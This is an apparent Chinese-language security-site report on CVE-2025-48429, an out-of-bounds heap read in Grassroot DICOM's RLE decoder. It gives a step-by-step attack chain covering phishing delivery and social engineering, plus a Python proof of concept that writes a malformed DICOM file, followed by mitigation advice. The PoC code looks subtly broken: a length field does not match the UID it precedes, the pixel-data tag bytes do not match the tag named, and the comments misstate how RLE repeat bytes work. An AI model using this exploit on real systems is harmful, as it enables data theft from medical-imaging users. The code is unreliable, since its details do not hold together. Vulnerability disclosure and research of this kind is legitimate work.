IPBUF安全漏洞报告
English
CVE-2025-48429 CVSS 7.4 高危

CVE-2025-48429: Grassroot DICOM RLECodec越界读取漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-48429
漏洞类型
越界读取
CVSS评分
7.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grassroot DICOM

相关标签

越界读取堆数据泄露Grassroot DICOMRLECodecDICOM文件医学影像软件本地攻击高危漏洞CVE-2025-48429TALOS-2025-2214

漏洞概述

CVE-2025-48429是Grassroot DICOM软件中的一个高危安全漏洞,CVSS评分达到7.4。该漏洞存在于RLECodec::DecodeByStreams功能中,是一个越界读取(Out-of-Bounds Read)漏洞。攻击者可以通过精心构造恶意的DICOM文件来触发此漏洞,导致堆内存数据泄露。漏洞的利用需要攻击者诱骗目标用户打开特制的DICOM文件,由于攻击复杂度较高且为本地攻击向量,实际利用存在一定门槛。但一旦漏洞被成功利用,可能导致敏感信息泄露,包括内存中的敏感数据、密钥信息、用户凭证等。该漏洞由Cisco Talos威胁情报团队发现并报告,影响Grassroot DICOM 3.024版本。鉴于该漏洞可能导致严重的数据泄露风险,建议受影响的用户尽快采取修复措施。

技术细节

该漏洞发生在Grassroot DICOM的RLECodec::DecodeByStreams函数中。RLE(Run-Length Encoding,游程编码)是一种常用的无损数据压缩算法,广泛应用于DICOM医学影像文件的压缩处理。在DecodeByStreams函数实现中,代码在解码RLE压缩数据时存在边界检查缺陷,未正确验证读取操作的边界范围。当解析恶意的DICOM文件时,攻击者精心构造的RLE压缩数据流可以导致解码器读取超出预定缓冲区的内存区域。这种越界读取操作会使应用程序访问堆内存中的敏感数据,这些数据随后可能被攻击者获取。漏洞的成功利用需要满足以下条件:攻击者需要创建一个包含畸形RLE数据的DICOM文件,并通过社交工程手段诱骗目标用户打开该文件。由于该漏洞属于内存读取类漏洞,不会直接导致代码执行,但可能为后续更复杂的攻击提供信息基础。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标环境中使用的Grassroot DICOM软件版本,确认目标运行3.024版本以确定漏洞存在
STEP 2
步骤2: 恶意文件制作
攻击者创建包含畸形RLE压缩数据的恶意DICOM文件,精心构造数据使RLECodec::DecodeByStreams函数在解码时产生越界读取
STEP 3
步骤3: 投递阶段
攻击者通过钓鱼邮件、恶意网站下载、U盘投放等方式将恶意DICOM文件传递给目标用户
STEP 4
步骤4: 诱导打开
攻击者通过社交工程手段诱导目标用户使用Grassroot DICOM软件打开恶意构造的DICOM文件
STEP 5
步骤5: 漏洞触发
当目标用户打开恶意文件时,Grassroot DICOM的RLECodec::DecodeByStreams函数解析RLE压缩数据,由于缺乏正确的边界检查,触发越界读取
STEP 6
步骤6: 堆数据泄露
越界读取操作访问超出预定缓冲区的堆内存区域,敏感数据如内存地址、密钥信息、用户凭证等被读取
STEP 7
步骤7: 数据收集与利用
攻击者通过错误信息、日志文件或内存转储等方式收集泄露的敏感数据,用于进一步的攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-48429 PoC - Grassroot DICOM RLECodec Out-of-Bounds Read This PoC generates a malicious DICOM file that triggers the OOB read in RLECodec::DecodeByStreams """ import struct import sys def create_malicious_dicom(): """ Create a DICOM file with malformed RLE compressed data to trigger CVE-2025-48429 """ # DICOM header preamble = b'\x00' * 128 # Preamble prefix = b'DICM' # DICM prefix # File Meta Information Group file_meta = b'\x02\x00\x00\x00\x55\x49' # Group 0002 Element 0000 file_meta += struct.pack('<I', 132) # Length # Transfer Syntax UID - RLE Compression transfer_syntax = b'\x02\x00\x10\x00\x55\x49' # Group 0002 Element 0010 transfer_syntax += struct.pack('<I', 17) # Length transfer_syntax += b'1.2.840.10008.1.2.5\x00' # RLE Lossless UID # RLE Segment with malicious data to trigger OOB read # Crafted RLE data that causes buffer overflow in decoder rle_header = b'\x00\x00\x00\x00' # RLE header # Malformed RLE data - causes out-of-bounds read # First byte is repeat count, second is value # Large repeat count without sufficient buffer space malicious_rle = b'\xff\x41' * 1000 # Repeat 'A' 255 times, repeated # Image pixel data with RLE compression pixel_data_tag = b'\x7f\x00\x10\x00' # Pixel Data (7FE0,0010) pixel_data_len = struct.pack('<I', len(rle_header + malicious_rle)) pixel_data = pixel_data_tag + pixel_data_len + rle_header + malicious_rle # Combine all parts dicom_file = preamble + prefix + file_meta + transfer_syntax + pixel_data return dicom_file def main(): print("[*] CVE-2025-48429 PoC Generator") print("[*] Grassroot DICOM RLECodec Out-of-Bounds Read") output_file = "CVE-2025-48429_malicious.dcm" dicom_data = create_malicious_dicom() with open(output_file, 'wb') as f: f.write(dicom_data) print(f"[+] Malicious DICOM file created: {output_file}") print(f"[+] File size: {len(dicom_data)} bytes") print("[*] This file can trigger OOB read in Grassroot DICOM 3.024") print("[*] When opened, it may leak heap memory contents") if __name__ == '__main__': main()

影响范围

Grassroot DICOM 3.024

防御指南

临时缓解措施
立即停止使用Grassroot DICOM 3.024版本处理来源不明的DICOM文件,直到官方发布安全更新。在浏览器或文件管理器中禁用DICOM文件的自动预览功能,避免文件被自动加载处理。建议用户仅打开来自可信来源的DICOM医学影像文件,对所有外部来源的文件进行安全扫描。对于必须处理不可信DICOM文件的场景,考虑使用沙箱环境隔离处理,并将软件降级到稳定的安全版本。同时监控系统日志,关注异常的内存访问错误和应用程序崩溃事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表